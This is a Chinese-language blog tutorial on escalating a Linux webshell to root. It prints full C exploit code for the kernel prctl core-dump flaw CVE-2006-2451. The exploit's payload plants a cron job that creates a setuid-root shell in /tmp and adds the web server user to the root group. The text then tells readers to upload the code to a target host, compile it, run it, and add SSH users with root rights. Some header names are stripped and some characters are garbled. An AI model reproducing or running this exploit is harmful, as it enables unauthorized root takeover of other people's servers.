webshell提权教程linux,Linux下WEBSHELL提权
用phpshell2.0和Linux Kernel2.6x 本地溢出代碼配合提ROOT,現在不少LINUX主機都還有這個本地溢出漏洞。
前提:1、目標機上安裝了GCC能編譯源碼
2、Kernel 2.6.x???????? (>= 2.6.13 && < 2.6.17.4)
因為是在webshell里溢出成功也得不到返回的ROOT SHELL,所以要稍微修改下源碼,把當前運行HTTP進程的用戶加入到ROOT組(紅色顯示),讓WEBSHELL有ROOT權限.
/**********溢出代碼**************************/
/* Local r00t Exploit for:???????????????????????????????? */
/* Linux Kernel PRCTL Core Dump Handling?????????????????? */
/* ( BID 18874 / CVE-2006-2451 )?????????????????????????? */
/* Kernel 2.6.x??????? (>= 2.6.13 && < 2.6.17.4)???????????????? */
/* By:???????????????????????????????????????????????????? */
/* - dreyer????????? ???????? (main PoC code)???????? */
/* - RoMaNSoFt (local root code) */
/*??????????????????????????????????????? [ 10.Jul.2006 ]??????? */
/*****************************************************/
#include
#include
#include
#include
#include
#include
#include
#include
char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *???????? root???????? cp /bin/sh /tmp/sh ;
gpasswd -a wwwrun root?; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";
int main() {
int child;
struct rlimit corelimit;
printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
printf("By: dreyer & RoMaNSoFt\n");
printf("[ 10.Jul.2006 ]\n\n");
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
printf("[*] Creating Cron entry\n");
if ( !( child = fork() )) {
chdir("/etc/cron.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(200);
exit(1);
}
kill(child, SIGSEGV);
printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
sleep(62);
printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n");
system("/tmp/sh -p");
}
把上面的代碼保存為tmp.c,上傳到目標主機/tmp目錄下,接著PHPSHELL里編譯gcc -o tmp tmp.c ,然后執行./tmp(有時候需要執行幾次才能成功).
用whoami命令看下你會發現你的WEBSHELL權限是ROOT.
char *payload 后面的命令都是以ROOT執行的,如果開放了SSH并且沒做登陸限制,可以直接到那添加一個用戶并加入到ROOT組,自己發揮~~~~~
總結
以上是生活随笔為你收集整理的webshell提权教程linux,Linux下WEBSHELL提权的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: GO 内存对齐
- 下一篇: centos更换网卡后怎么更新配置_Ce